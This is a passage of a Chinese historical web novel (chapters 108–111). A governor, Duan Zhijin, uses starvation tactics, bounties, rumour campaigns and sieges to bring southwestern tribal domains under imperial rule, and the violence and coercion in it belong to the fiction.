宗师爷回道:“大人放心好了,上一批粮食我们超量送了,还能支撑他们两三个月。这一批粮食是陈年杂粮,已经蒸熟晾干,放上一两个月必然坏到不能吃。到时候他们就是俎上之鱼了。” 第108章 108段之缙有些可惜,“陈…… 段之缙有些可惜,“陈年杂米哎,这些粮食还能吃吧。” 宗师爷微微一笑,“大人放心吧,这些陈年杂米都是常平仓内保存不当的变色米,人吃了会出事故。我们把它淘干净蒸熟,又放在了最上边的粮袋里,根本等不到人吃。” 段之缙百思不得其解,“为何放在最上边的等不到人吃?” “大人糊涂了?粮车最上边的粮食最先入库,自然放在粮仓的最底下。” 段之缙一拍脑袋:“果真糊涂了……那就好,等着入了冬咱们就动手。乌蒙和乌撒那边有什么反应?” 宗师爷说:“吴阿兰送上的消息,这两处素来有存粮的习惯这才能撑到现在。前些日子我们派人过境,远远地看过他们的山上已经有要秃的迹象了,想必粮食已经吃尽。我只担心逼到绝境,他们怕是会造反。” 段之缙取笔写下指示叫人往燧明发,又道:“那就不要等到他们造反。我命吴阿兰往乌蒙和乌撒传消息,告诉他们的百姓,只要能为我带来土司的首级,朝廷就会给他们分地发粮食,为首者就是这两处的新县令。另外发告示告诉这两个土司,只要他们愿意改土归流,待遇按照兆仁的来。” “说到兆仁,克西府可曾传来什么消息?马黎种没种阿芙蓉花?” 柳师爷把文书呈上,“正要和大人说这件事。兆仁一半的耕地种了炮制□□的话,现在正在问克西府要粮,我们给是不给?” 马黎是个不知好歹的东西,听风就是雨,段之缙已经受够了他。 现在夷律已经正式颁布,只要依律办事不会出太大的乱子,如果能用些手段将兆仁的县令换成汉官才正得宜。 想了想,段之缙答道:“不用给。叮嘱好周边的府县,别叫他们的□□出了境。” “对了。”段之缙把宗师爷叫过来,“你再替我办些事情去。” 宗师爷附耳过去,听了吩咐哈哈一笑,连忙出去照办。 …… 太阳一天天升起,一天天落下,段之缙叫人劝了两次丁家的人还不见好就收,在衙门外闹事。 现在白日还热着,丁老夫人的棺椁愣是摆在总督衙门的石狮子前边,没有入土为安,段之缙的心也大,愣是不管。 丁家到底是乡绅,即便闹事也还保有了几分体面。女子们穿着丧服哀哀地哭泣,男人们则义愤填膺,跪在棺椁前大声说着丁家遭受的“不公”。 “我的祖父丁公,乃是先帝的帝师,我们丁家一门诗书传家,谁能想到走到了今天的地步?” 这事儿感同身受的人少,看热闹的人多。 段之缙又没有阻拦,于是总督衙门前就围坐了不少老百姓。 平日里没有事情干的人,看戏又没有银子,现在有了不要钱的戏演,如何不聚集在一起瞧热闹?有些人还拿着花生米儿边吃边看,手一搓,果仁外边的红皮落一地,被风一吹跑得到处都是。 两个老大叔在一块儿说闲话。 “你瞧瞧,那些人是在那干什么呢?” “嗨,这还能是什么事?再有钱的乡绅也害怕坐衙门的官员!那老太太都吊死到了衙门门口,想必是吃了大冤屈。” “有道理,听他们自己说,他们的祖父还是皇帝老爷的先生呢?这天家和咱们不一样啊,师娘吊死在了衙门口也不管。” 大爷感慨一声:“谁说不是?啧啧啧……果然是仗义每逢屠狗辈,负心皆是读书人啊……” 旁边的大爷嘿嘿一笑,“万岁爷也能说是读书人吗?” “万岁爷怎么不是读书人?他读的书恐怕比这全天下的读书人都多!”而后脖颈子一凉,忽然咂摸出来自己说了万岁爷的坏话,又小声说道:“这话可不敢跟旁人说,抓到咱俩都要砍头的。” 平民百姓看热闹看得热火朝天,可是读书人却看得感同身受,见总督衙门大门紧闭,一副做贼心虚、哑口无言的样子,已经在心里唾骂起段之缙这个总督。心忧朝廷在黑暗之中,竟不得见一丝光明。 热闹越来越大的时候,林忠平终于带着人出现了。 所谓仇人相见,分外眼红,苦主又多为小民,丁家当时只不过是动动手指,就闹得人家家破人亡,因而苦主们上来就是扑打,场面顿时混乱起来。 男女老少混战在一起,比菜市场都热闹。 段之缙早就偷偷出了总督衙门,站在对面的高楼上领着师爷们看,可算是狠狠出了一口恶气。 他回头问宗师爷:“叫你准备的事情都做好了?” “放心吧大人,我们这是特意找了说书先生编的童谣,效果绝对不一般。” 下边闹得不轻,一堆人撕打在一起,大人闹小孩儿叫,看热闹的人已经控制不住,围成了一个圈,给这个加油,给那个打劲儿,又指挥着斗殴的人攻对方下三路,一直闹到了所有人精疲力竭,瘫倒在地上。 就在这个时候,宗师爷悄悄下楼,给一群小孩儿一把铜板,那群小孩儿兴高采烈地分了,到街上又跑又跳,传唱歌谣。 “田连田,水连水,吞完东山啃北坡,丁零当啷铜钱落,黑轿抬人当萝卜!老树根缠先帝靴,皇帝跺脚不敢折。” “浑水灌进南诏河,外是孝袍内里藏金。南诏百姓眼睛亮,唾沫星子淹丁锅!” 小孩子有些尖细,清澈透亮的声音一阵接着一阵,绕着人群边跳边唱,抓住了所有人的注意力。 便有人上来问:“这童谣说的是什么意思?” 也不用等那些小孩解释,那些小孩也解释不了,便有受害人上来哭诉。 “他丁家再多的造化,怎么能 够占有几万亩的土地,闹什么田连田,水连水?全都是占的我们这些苦命人的地啊!” 又有人上来骂:“骗我们是雇人干活,结果把我亲弟弟卖到了黑矿坑里去,矿坑被官府发现了,他们就用火药毁矿,活生生压死了我弟弟!” 老百姓的日子过得苦,南诏又不是土地多的地方,不到万不得已谁会卖地?谁又会自卖其身。 尤其是私自采矿的黑矿坑。 “最可恨就是那劳什子帝师,倘若不是他,丁家人都应该挫骨扬灰!你们还敢出来招摇?” 这年头最常见的就是仗势欺人,骗占土地的乡绅,他们又往往有官府撑腰。 乡绅被官府害了,那叫狗咬狗一嘴毛,老百姓们乐得看笑话。可乡绅害人,大家却都感同身受,纷纷叫骂起来,甚至要上去打。 方才平静了的场面又是一场混战,衙门大门轰然洞开,里边的差役轰散了人群,将丁家闹事的人都抓了起来,只留下一个孤零零的棺椁。 段之缙从楼上走下回到总督衙门,师爷跟着问他:“大人,可是要审一审?” “什么有什么好审的,人皇上下旨不就好了?我现在要去南招军营了,这里的事你们自己解决。” 段之缙刚要叫人离开,宗师爷又上前拦住:“大人,还有一件事。” “何事?” “丁家土地连阡陌,几万亩一时难以售出,这一年佃农的租子按照大人的意思免了,叫他们缴田赋,可是下一年怎么办?” 段之缙沉吟起来,这么多的土地,卖到明年也卖不完。 “倘若有佃农想要买自己耕种的土地,可以按照市价的四分之三售卖。至于剩下的……” “大人,倒是有几个大家能够在过年前买下这些土地。” “哪几个?” “尘州府的徐家,思明府的何家和克平府的孟家。” 段之缙恍然大悟,“丁家的那些姻亲啊……不足为奇。你确定他们是为了自家买?别是买了之后又送回给丁承宗。” “这不可能。大人有所不知,因丁家的案子重大,这些人家也被当地的知府盯住了,他们倒是识时务,嫁出去的自家女儿管不了,嫁过去的丁家女接二连三地被送去了道观和寺庙。” 出嫁了的妇人,被送去外边的道观和寺庙,也就是还顶着一个夫妻的名头,实际上与休弃无异。 段之缙想了想,这些人家本来就是土地兼并的大户,倘若再吃一遍丁家的土地,势力只会更大,虽说现在“滋生人丁永不加赋”,可佃农到底无产无业,还是难以承担。 摊丁入亩的想法再次涌上心头。 如果能实行摊丁入亩,那夷部分地的事情也变得好商量了起来,土地买卖的事情也简单了。 “呃,以过年为限,年前只卖给佃农和散户,他们吃不下的土地在年后卖给这三家。” “也好,过年了多少有些余钱,那我这就去办。” 段之缙叫他去,自己出了大门前往南诏军营。 现在门前不复刚才的哄闹,连个人影都没了,只剩下丁老夫人的大棺,她的孝子贤孙都顾不得把老夫人抬走。 出门前看着丁老夫人的大棺,段之缙长叹一口气。 不肖子孙,连累一个老人家搭上命去,倒成了他们发难的借口。 招招手叫来陈山,“问夫人支点儿银两,和丁家人说说,让老夫人和丁大人合葬。多支些,不要弄得太过寒酸了。” 第109章 109段之缙来到了南诏军营,向古和…… 段之缙来到了南诏军营,向古和苏奋已经开始做准备,将从燧明、兆仁两地招来的土兵偷偷安排到了附近的州县,火炮和一众武器也运到了附近。 而此时水西还没有发现粮食的事情。 三个人围着看地图,苏奋问道:“水西粮食的事情安排地如何了?” 段之缙回说:“全在计划之内,大概这个月底他们就能发现不对。只是如何动手,我还没有思路,猜不到牢洱的反应。” 如果牢洱还想谈,到底要不要再和他谈?倘若他能够进汉地,那么是直接杀了他,还是真要与他再谈?这又是一个问题。 自然,还有一种可能就是牢洱连谈都不谈,直接就地造反。 不过他们这些人没有粮食,即便进了林子也是穷途末路。 段之缙分析了一通,苏奋却说:“你这可小瞧了他们。把他们撵入林子才是放虎归山。没有粮食,只会激起来他们的凶气。而且南诏的林子和咱们北地的树林还不同,现在临近冬天,这里林子里的东西还不少,一时半会儿饿不死。倘若要拖,能拖上三四个月也未可知,最保险的方法就是咱们也跟他拖上三四个月。” “可唯一担心的,就是这些人往更西南去,过山地进了穹迦的地盘,如果穹迦心怀诡计难保不会帮助他们,所以一定要速战速决。上次的仗打得那么急也是为了防止他们窜入穹迦。” 原来还有这个事情。 “苏将军,你说咱们能不能够穿越林子,然后在后方包围他们?” “此法太难。我们的士兵虽然经过了训练,但到底不如当地的土兵。就算是燧明、兆仁的土兵,论穿越这种险峻的林子,他们也比不上水西的土兵。想要对他们形成包围,基本上不可能。” 向古在一旁听着直挠头,他有一事不解,上一回是因为水西的土司造反,这才一定要抓住他们杀死首恶,但是这一次是为了改土归流,这些流寇走到了哪里,跑到了哪里,又有什么关系呢?反正他们离开了水西,水西的地就是朝廷的。改土归流,谁也阻止不了。 再者,就算他们走到了穹迦,穹迦能否允许他们入境又尚未可知,但无论如何,穹迦人总不可能让他们在高地上再建一个小水西出来。 因而向古小心提议:“只要咱们守住了水西的地方,他们想跑去哪,又和朝廷有什么关系?” 这两个人聪明反被聪明误,听完后相视苦笑,段之缙道:“是我们当局者迷了。” 向古眉头一皱,“这个差事我也在办呢,叫部堂说的,好像我不是当局者。” 苏奋哈哈大笑,段之缙拉着向古赔礼道歉。 “那我们就只剩下一个事情要担心了,就是牢洱带着部众蹿入林子之后,他们既不投降,也不往穹迦走,而是一直留在林子里边窥伺水西。” 段之缙也道:“最怕水西的民众与他们里应外合,这可是一个大麻烦,总不能把水西的夷众全都杀尽。” 还有牢洱遁逃之后,水西临时的土司,或者说临时的县令,又应当由谁担任? 汉官定然不行,汉官在此人生地不熟,又不了解水西的情况,一定会出问题。 段之缙想了想,觉得让吴阿兰去说不定能够站住场面,况且吴阿兰又信得过。旁人要么是信 不过段之缙不敢叫他们去,要不然就是不如吴阿兰了解夷人的情况。 “我会把燧明的县令调过去,暂时监管水西,我们走一步看一步吧。” 苏奋问道:“那燧明怎么办?” “说不得就得叫她的女儿暂时担任临时县令了。” 段之缙的想法是,如果吴阿兰能够管理好水西,那就调到水西去,燧明另派县令,不但能降低吴家在燧明的影响力,也算是兑现当时给吴家的承诺。 水西就这样暂且定下,还有兆仁土司马黎种植阿芙蓉花的事情,等着马黎人心尽失,就先叫克西府的知府暂时管领兆仁,到新任的县令上任。 这三人在军营里等着水西先行动作,但往往事发突然。 一日,段之缙在营中观看练兵的时候,克西府知府的师爷突然到了营中求见段之缙。 段之缙看着眼前的中年男人,问道:“你们知府有什么事?” 师爷回答说:“我们那边来了几个乌蒙的夷人说是把他们的土司沙那给杀了。现在来找大人兑现承诺,但是我们都没有见过沙那土司,这事得大人来决定。” 段之缙直接瞠目结舌,这告示才发出去不久,沙那就被杀了,他平时是怎么做人的?这样招人恨。 倘若大家都是同族,功名利禄动人心,部下杀死自己的首领倒还不那么奇怪。但是发告示的人是异族,就算是心动,至于下手这样急吗?甚至不担心朝廷反悔或是骗他们。 段之缙激动中略带好奇,叫人赶紧准备去克西府。 这次没有叫王章同来军营,段之缙又差人去总督衙门把王章叫上,让他快马加鞭往克西府去。 到府衙的时候,知府带着总督去见那几个人。 能杀死土司,想必该是身强体壮的壮年男子,结果见了之后段之缙才发现都是些黑黝黝、瘦巴巴的少年人,怀里还抱着一个包袱,怎么都不放下来。 段之缙问他们:“你们当真杀了沙那?有何证据?” 这些人听不太懂汉话,知府安排了一个翻译。对面的男孩们就呜喳喳地开始说话,两只手解包袱。 翻译转述:“他们说沙那就是他们杀的,如果要证据的话,可以给大人验看首级。” 验看什么? 段之缙脑子一蒙,就见对面的男孩把怀里的包袱彻底展开,露出一个半腐败的人头,扑鼻的臭味直扑面门。 在场的所有人都背过身去呕吐,段之缙撑着桌子差点把胆汁儿吐出来,缓过神抓住知府问:“怎么不把首级冻起来?现在烂成这样,还怎么看?” 知府擦擦嘴苦笑:“说了,他们不敢交给下官,怕我们骗他,说叫大人来了验看。” 验看什么?现在烂成这个死样儿,还怎么验看?还眼看个屁? 知府倒真开得了口,嗫嚅一顿回道:“大人,现在面皮还没有烂完,您再仔细瞧瞧呢。我们这儿没人认识沙那,就您出使水西的时候见过他。” 说罢,递上一方香扑扑的帕子,似乎是早有准备。 现在也没有别的法子,再拖这人头都烂完了,段之缙拿过帕子捂住口鼻,叫仵作来把死人脸上的血弄干净,而后皱着眉仔细看还没腐烂完的面皮,越看越眼熟,似乎真是沙那。 而后再三劝告,终于说服了那几个男孩儿把首级冻上,两天后王章来验看,也觉得像是沙那。 第二次和那些男孩相聚的时候,段之缙跟他们说:“我自然会履行我的诺言只是不知道是你们谁杀了土司,还是一拥而上一起杀了沙那。乌蒙的土司只能有一个,乌蒙的县令也只能有一个。你们自己商量吧。” 谁知这群人里边已经有了一个领头羊。 个子最高,似乎是年纪最大的那个男孩出来回话,翻译转述道:“我叫克勤,沙那是我一个人杀的,他们都是陪我一起来的。” 既然这样,那事情就好办了。 段之缙说道:“我会和朝廷上表为你请封土司的爵位。但是乌蒙县的县令能不能做却要看你自己了。” “县令就是给朝廷当官,自然要会汉文识汉字,但是你既然不会汉文,想必汉字也不会。还怎么能做朝廷的官?” 这也是意料之外的事情。 当时段之缙下了这个告示,究竟会不会有人铤而走险都得打一个问号,只不过是为了扰乱这些人的心神。 就算是有人杀了土司,也应该是他的部下窝里反,起码会说两句汉话。平民老百姓能不能见着沙那都是个问题,更何况杀了他。 可偏偏事情就这样发生了,弄出了这样的情况。 克勤主动提出了条件:“县令可以让别人担任。如果三年之后我能学会汉话和汉字,可不可以再叫我接任县令?” 段之缙思量一番,最终回道:“我可以给你上报,但是皇帝能不能等到你三年却不一定了,不过你放心,土司的爵位你一定会有。” 克勤却拒绝了,“现在乌蒙没有粮食,大人,我可以不做土司,但求你给我们运些粮食。” 看来他对以后做县令竟还有些自信心。 段之缙答应下来,克勤长舒一口气,原本还成熟的脸庞一下子带上了稚气的笑和旁边几个小兄弟兴高采烈的握手、拥抱。 段之缙叫他们小小庆祝了一番,终于开始问他最关心的事情。 “你是怎么把沙那给杀了的?” 克勤叫翻译转述:“乌蒙断了粮食,我们大家都没饭吃,沙那就挨家挨户搜刮。沙家人本来就是粮食最多的人家,还要刮我们这些穷人,在我家里抢存粮。当时他的竹辇就停在外边,我气不过,拿着柴刀出去剁了他。” “这怎么可能?你这么小一个人,还能制过沙那的属下?”知府根本不相信。 其他小孩七嘴八舌地说,翻译译道:“你别看我们克勤哥长得瘦小,他天生神力,几个人也打不过他……” 一个火点落在干草上,爆燃也只不过是一瞬间的事情。 克勤回道:“我杀了沙那,周围的邻居也和沙那的那些走狗拼命,所以我活了下来。” “现在乌蒙是什么情况了?” “不知道,我走的时候贵族已经被我们绑了起来。” 段之缙了解了一些情况,就叫他们退下。 之后没过几日,也许是乌萨的吐司被乌蒙的事情吓破了胆,竟然差人来问改土归流的事情。这两个地方也算是不费吹灰之力,平静地收服了。 水西似乎从这惊天巨变中察觉到了不对,还未等到段之缙预料的时间,便突然起兵造反。 幸而周围的府县也早有准备,虽然艰苦,但终究没有被攻破。牢洱带着人龟缩回了水西,现在是朝廷的军队出击的时候了。 第110章 110段之缙、苏奋和向古等人已…… 段之缙、苏奋和向古等人已经到了前线,苏奋一门心思紧盯着水西,段之缙却还要处理乌蒙和乌撒的事情。 乌蒙的土司沙那被杀,乌撒自请改土归流,但他们的土司段之缙是不打算用的。 这两个地方都陷入了群龙无首的境地,又全都无粮可吃,直接按照灾情处理最好。 于是临时调了两个师爷过去管着,以工代赈,这两处的山路趁此时机修出来,顺便叫种地和开矿的老行家去看看,山地适合种什么作物,能不能开出矿产。 置业,才是叫百姓安居乐业的根本。 也算是功夫不负有心人,山高路难,正巧是种植普洱茶的好去处,虽说普洱的名号在北方不大,但所谓“上有好者,下必甚焉”,只要叫皇帝背书,就没人敢说这茶叶不好喝,也一定会在大江南北畅销起来。 吴阿兰已经到了前线,她的任务是在牢洱率部走后,直接接管水西。 但机会永远留给有准备的人,乌蒙和乌撒不可能永远没有县令,这两处人情复杂,和汉人的风俗迥然相异,有很大的可能还是要置土官。 她的女儿吴夭娘已经有了前程,女承母业,以后燧明就是夭娘的领土,但她最亲的侄女吴月娘,还有她的儿子金腾,这两个人还没有着落。 他们都是通习汉夷事务的孩子,月娘又在燧明的汉文学堂里习过两年书,甚至能写八股文,做县令根本不成问题。 因而这一次,吴阿兰带了两个小辈来,叫他们毛遂自荐。 段之缙听吴阿兰分析一番,似是很有道理,吴月娘和金腾做土官是可以的,但乌蒙和乌撒要变成茶山,茶叶暴利,一定要朝廷设置汉官亲自掌管。 况且水西、乌蒙、乌撒三个地方紧密相连,如果 三处都是一姓,势必叫燧明的势力扩展到不像样的程度。 段之缙思量一番,笑道:“你是深谋远虑的,以后叫你掌管水西我也能放心,但乌蒙和乌撒已经叫朝廷的汉官接管了,我们并不打算另派旁人。以后有机会,这两个孩子一定好好安排。” 待岺州改土归流之后,给他们安排到岺州去,做那里的土官也挺合适。 吴阿兰也不强求,只叫金腾上来道谢。 金腾跪拜在段之缙面前,恭敬道:“金腾多谢大人的救命之恩。” 段之缙没弄明白怎么回事儿,吴阿兰就上来解释:“大人,您贵人多忘事,金腾也长大了不少,不认得也正常。崇德二十三年,理藩院传文馆有一个孩子发高烧,正是金腾这小子。” 她这样一说,段之缙立刻想了起来,“是他啊!果然是大难不死必有后福,那个时候还是个小孩儿,躺在床上喊阿娘、阿姐,现在真了不得。” 当时正在和赤砂和谈,段之缙在衙门里加班,又被侍郎派去传文馆处理此事,心中老大不乐意,也就才五六年的功夫,自己就跑来这千里迢迢的南诏了。 再看这个男孩儿便觉亲切,但亲切归亲切,不行还是不行。 段之缙把话挑明,吴阿兰也说:“一码归一码,叫他给大人道谢就只是为了道谢,并没有旁的意思。” 段之缙放下心,去了主帐和苏将军等人一起商议用兵一事。 “牢洱带着部众龟缩在水西几十个寨子里不出来,我们还真是无可奈何。” 现在已经入冬,天气干燥了一些,寨子内又多是竹屋,很容易燃烧,原本的打算是投火球,但一则投石机难以上山路,二则是改土归流,最好不要毁坏太甚,烧后重建可是要花大价钱的。 段之缙问道:“你们上次怎么能如此迅速地攻破水西寨子,把他们一路往林子里撵?” 苏奋一边盯着地图,一边回道:“那时候又不用担心这个担心那个的,叫劳力们把投石机抗了上来,浇上桐油射火球过去。” “而且有些时候得用些非常手段,你都知道,咱们有牛痘,可水西他们不是没有嘛……” 当时朝廷获得了痘种,最先接种的就是各地的军队,而后才一步步推广,可水西却还没有这样的技术,自然只能逃到林子里躲避灾祸。 可现在这两个方法,哪一个都不能用。 “装王八缩在里边不出来,我到要看看他们能装到几时!” 对峙的局势已经形成了足有半个月,什么进展都没有,皇帝的圣旨来了一道,交代给段之缙不要再管丁家的事情,催他尽快改土归流,而后又来了一道问水西的进展,催他们尽早往更西南进发。 催催催,皇帝急着西北用兵,三年又已经过了三分之二多,他也不如先前气定神闲了。 段之缙在心里骂骂咧咧,“之前还怕我急着改土归流闹出乱子。” 但人家是皇帝,只管提出意见,底下的人就得想方设法地办成。 苏奋先想了最朴素的法子,叫人在寨子门口叫骂,段之缙每天盯着,好像是来到了祖安圣地。 但语言不通,叫人翻译过后作用大打折扣,里边的人还硬撑着。 三个人死看着地图,仿佛能看出花来。 如今的情况就是当初划给水西的小部族纷纷倒戈到了朝廷的阵营,围困的军队也是驻扎在附近。 牢洱带着一部分部众驻守大寨,直面朝廷的军队,其余的小寨子也已经防备好,在大寨之后难以包围。 缺粮…… 段之缙默默思酌着,提议道:“虽说此法有些困难,但也未必不行。” 苏奋叫他直言。 “水西大寨基本上不可能策反,但他身后的小寨却不一定忠心耿耿。粮食、兵器,一定是紧供着大寨来,现在又是缺粮的时候,倘若我们走山路绕过去,先对小寨下手以便对大寨形成包围呢?” 向古觉得此法似乎可行,只还有一问不解,“倘若这般,牢洱也一定会派人去监管,不一定能成功啊。” “但朝廷的军力倍于水西,我们可以分头行动,四处去策反。就看牢洱敢不敢分兵,倘若他分兵,我们也能直接攻打大寨。” 苏奋道:“可若是他们诈降,又当如何是好?” “自古以来,都是攻克一座城池的过程中耗费最多,只要他们打开了寨子门,叫我们的军队进去,我相信,凭借着火铳和训练有素的士兵,即便是诈降,我们也能控制住。” 苏奋想了想练兵的情况,现在士气饱满,士兵们对穿越树林、过湿地也有一定的训练,再配上火铳,即便是诈降,鹿死谁手倒还尚未可知,于是拍了板,“那我就安排军队过去,咱们先去这五个地方……” 他安排完,段之缙眼睛一眯,出了个主意:“咱们先这样,叫人带着两倍的粮食去,也带好了翻译,每天就在寨子门口煮肉做饭,而后跟里边喊话,只要投降就发粮、分地,把牢洱说成是穷途末路,告诉他们再不投降,王师攻破之后什么死法都有。” 想了想,还是不放心道:“罢罢罢,向大人和我一块儿去西北的小寨吧。” 向古答应下来,二人带着两千来人跋山涉水,终于到了目标的寨子,头一件事儿就是安营扎寨,起锅做饭。 这个小寨子由牢洱的堂弟牢绥看守,他看着寨子外边人头攒动立刻警醒起来,结果对面的人一不喊话,二不挑衅,反而升起了炊烟吃起了饭,气得牢绥跟部众大骂。 “他们有饭吃闲得慌吗?爬那么多山就为了来这里吃饭?该死的,朝他们射箭!” 牢绥刚下令,就被部下拦住,“已经超过了射程,咱们的弓箭不多,还是省着些吧。” 牢绥憋了一肚子气,悻悻作罢。 “狗日的,真缺大德了。” 到了第二天,牢绥以为汉军该有些动作,谁知他们仍然是烧火做饭,米香混着菜和肉的香气,被东南风一刮全飘到了寨子里。 牢绥一开始还摸不着头脑,可看着周围的小兵眼泛绿光,馋得口水都 要往外流的样子,一下子反应了过来。 牢绥破口大骂:“好啊!原来打的这个主意!” 他的部众问道:“现在该怎么办?” 还不等牢绥想个招出来,就听外边的人齐声大喊,别别扭扭的水西话传到了寨子里。 “大寨大军压境,你们的土司牢洱溃逃只不过是时间问题,苦苦支撑只会惹来杀身之祸,弃暗投明反而能够保全性命!” 翻译说一句,士卒们跟着学一句,说得不利索,但也没有错。 “百姓们,不要跟着没前途的首领!无论是谁打开了寨门,王师进去就会给大家分粮、分地!绝不食言!” 寨子墙上立着的士兵纷纷看向牢洱,眼神里带着犹豫。 他们绝大多数都是奴隶出身,当兵也是因为待遇更好,吃得更饱,轻易不会被贵族打骂。 但现在只能吃个半饱,用脚丫子想想,日后连个半饱都不会有。 牢绥气道:“你们都忘了吗?上一次打仗,汉军将咱们的寨子付之一炬,是现在的头人重建了家园!他们说话全都是狗屁!” 士兵们攥紧了手里的武器,又听底下有节奏地唱道:“白米炊烟香十里,热油滚沸翻金光,铁锅翻炒三春韭,陶甑蒸熟九月粮,营门高悬腊豚肉,馋煞寨中饿断肠!” 又看见吃不下的熟粮被埋到土中,每个人的胃袋都翻滚起来,绞得生疼。 营中,段之缙看着故意多做的饭粘上了尘土,心疼得要死,下一回儿绝对不这么干了。【你现在阅读的是 】 110-120 第111章 111夜黑风高,冷飕飕刮着风,…… 夜黑风高,冷飕飕刮着风,朝廷带来的粮草在月光底下无人看守。 远远地,七八个人影从夜幕中走出,草鞋踩在地上一点声音也没有。 他们闷不做声地走到粮袋旁边,掏出一把匕首擦了擦,一刀捅进去。 白刀子进,白刀子出,圆润饱满的粮食哗啦啦地顺着破口流出来,被早就展开的布袋接住。 即便是生的,这群人也是忍不住流口水,喉咙滚了好几滚,已经畅想起了飘香的糙米饭,混着晒干的菌子和腊肉,吃得满嘴流油。 一个人用夷语问:“好了没有?” 接粮食的人说:“再接一点儿,别急。” 等了片刻,又有一个人问:“接完了吗?” 接粮食的人麻利地把布袋扎上,叽里呱啦答道:“完事儿了,走走走!” 一转头就看见了汉人那张笑盈盈的脸,四周瞬间亮起来火把,原本无人看守的地方灯火通明。 而他的伙伴早已经被捂住嘴捆了起来,生猪一样放在一边。 咚的一声,装粮的布袋掉在了地上。 他吓得跪倒在地。 …… 段之缙穿好官袍,在营地内布置了一个简单的公堂,带上翻译,就开始连夜审讯这些盗粮的小贼。 “你们是自己来的还是牢绥派你们来的?” 偷粮的人将头磕得砰砰响,闹哄哄地又哭又叫,翻译恨不得长好几张嘴,最后段之缙终于听清楚,弄明白了是怎么回事儿。 他们不过是寨子里的平民百姓,因为牢家的部下要吃个半饱,他们这些人就得饿肚子,又日日闻着寨子外诱人的饭菜香味儿,这才铤而走险想到盗粮裹腹。 “大人,我们也是饿急了眼这才偷粮食,求求您放了我们,绝对没有下一回儿了!您的大恩大德,我们下辈子当牛做马也要报答您!” 夷人声泪俱下,段之缙奇道:“现在两军对峙,你们是怎么从寨子里跑出来的?” 下边被审的人一个个低下头去,全都不说话了。 有些事儿他们还是能弄清楚的,出来偷粮是一码事,把汉人引进了寨子又是另一码事了,现在都装成了锯嘴葫芦。 段之缙一声冷笑,“好啊,不说是吗?那就别怪本官用刑了!” 语罢一拍惊堂木,“先给他们上拶指,涨涨见识!” 士兵就拿着连成串的小木棒走了上来,一个小贼分配一个,将刑具固定好。 冰凉的木头贴着枯枝一样的手指头,还没等得用刑,人犯就吓得鬼哭狼嚎起来,挣扎着往后退,许是哪一个士兵没防备扯了一下绳子,段之缙就听到了一声嚎叫,紧接着剩余的人也控制不住地求饶。 “我们全说!我们全说!” 段之缙叫人刑具取下来,人犯倒豆子一样全吐了出来,原来寨子西北角上有一个地道,该是前人留下来的,最近才被他们这一伙人发现。 当时是出于多一事不如少一事的心思没往外说,真是要饿死了才想起这个地道,就准备偷点粮食。 段之缙心神大震,纠缠了四五天可算是有了转机,急忙问道:“那边可有接应你们的人?” “有我的阿娘。” “还有我的婆娘。” 都是些妇孺老人,不足为虑,现在只担心他们是请君入瓮。 段之缙看着这一伙人,和蔼道:“刚才应该没有伤着吧?你们饿得想死,我们也有上官的任务,都是不得已而为之。” “我都不知道这寨子有什么好守的,粮食都是别人吃,房子都是别人住,再怎么守也是为了别人守,还不如叫我们进去,给你们送粮食吃。到那时候不说每顿能吃得饱饱的,起码能混个半饱,饿不死人。离着明年二月里春耕也不远了,等着我们进去,头一件事情就是分地,叫你们明年能吃的饱饱的。” “只是倘若你们骗人,这些东西可全都没有了。” 这一伙人吭吭唧唧,脸色涨得通红,既不想做叛徒,还想吃饱穿暖,段之缙说道:“如果你们所言非虚,就选一个人带着我们的人进去,半个时辰为限,如果回不来,剩下的人我会选一个片成片煮粥,叫你们临死之前沾点荤腥。” 底下受审的人再看段之缙温文尔雅的面庞已经眼带惊恐,段之缙又笑一声说道:“当然了,你们也可以拒绝,我现在就叫你们吃顿饱的。” “大人,我们都愿意!” 他们没用多长时间就选出了领路人,剩下的留在营里,段之缙选派了五十火铳手,带上充足的子弹随他进寨,幸好一切顺利,不到三刻钟就全须全尾地出了寨子。 向古急切问道:“如何?” 小队长回话:“虽很隐蔽,但也决不能埋伏人,行动快些,一刻钟能进一百来人。” 段之缙高兴地一拍桌子,“好啊!就趁着现在,五百人在寨门□□击吸引注意力,另外的人全都进寨子,绕到他们背后伏击。” 向古立刻去做安排,当晚寨门口就火枪声不绝,牢绥在睡梦中被叫起,看着远处穿梭的人心烦意乱。 连个征兆都没有,就这么突然发难了? 可已经来不及想这么多了,牢绥声嘶力竭地大吼:“一定要守住寨子,绝不能叫他们进来!” 话音刚落,胸口一阵剧痛,他颤抖着手摸上去,只摸到了一片鲜红的血。 最后只听到部下惊恐的呼喊声,“敌人在我们身后!” …… 战事很顺利,第二天天大亮的时候一切都平静了下来,朝廷这边的战死的人很少,伤者也不多,段之缙为他们登记了身份,迎着晨光迈进寨子。 里边的百姓惊恐而警惕,沉默地看着陌生的军队进驻进来。 向古和段之缙在议事厅坐定,看着来回布置的士兵,向古问道:“大人现在有什么打算?” 寨子如何处理,驻多少兵是个很重要的问题。 朝廷要防着他们突然反抗。 “粮食不能一次给多,每天两顿按照人头分配,一律吃大锅饭。” “那投降的士兵……” 向古半句话吞在嗓子里,段之缙明白他的意思。 这里驻扎的土兵不多,现在就剩下了不到一千人,又不是精锐,但无论如何他们都是土兵,留在本地到底是祸患,可这次带来的士兵也就是两千人,驻扎加管理要留一千人,和土兵总体相当。 把他们全都杀了? 这些土兵的家人都是本寨的百姓,到时候引起激变是必然的。 “把粮食留在寨子外,派五百人带着火铳把守,每日送对应人口的粮食进来分发。五百人驻守寨子,剩余一千人带着人和我们回去。” 不能叫人吃太饱,但还要让人有念想,“我们在这里留十天,把土地丈量好分配下去,不能等到春耕了。” 行动当天就开始,士兵们熬粥分饭,段之缙去查看土地。 连成片的土地上是已经割完了的果子,因为战争突然打响还没来得及收集起来。 段之缙掏了一把土,微微的潮湿,滑腻腻地在手心流过,黑黝黝的,带着土腥气。 这是上等的良田,水西的土地全都肥沃得紧,一茬又一茬的花叫这些土地肥得流油。今年风调雨顺,倘若能够种上粮食,又何至于吃不上饱饭?但偏偏是不能种粮。 连带赶路的日子算上,十七日后段之缙回到了军营,五个地方有三处传来了捷报,再加上段之缙的那一处,总共是四处。 包围线已经成了大半,而对方的士气是随着节节败退越来越低落的,胜利只会加速到来。 但牢洱也不是傻子,极有可能在包围形成之前直接跑路,现在他们面临的问题不再是怎么进入水西大寨,而是要不要放牢洱走。 苏奋的意见是“除贼务尽”,清扫干净才能叫人放心,因而要堵住他们出逃的路线,来一个瓮中捉鳖。 向古担心耗费时间,双方僵持不下。 段之缙却另有打算,“我的想法是叫他们跑。” 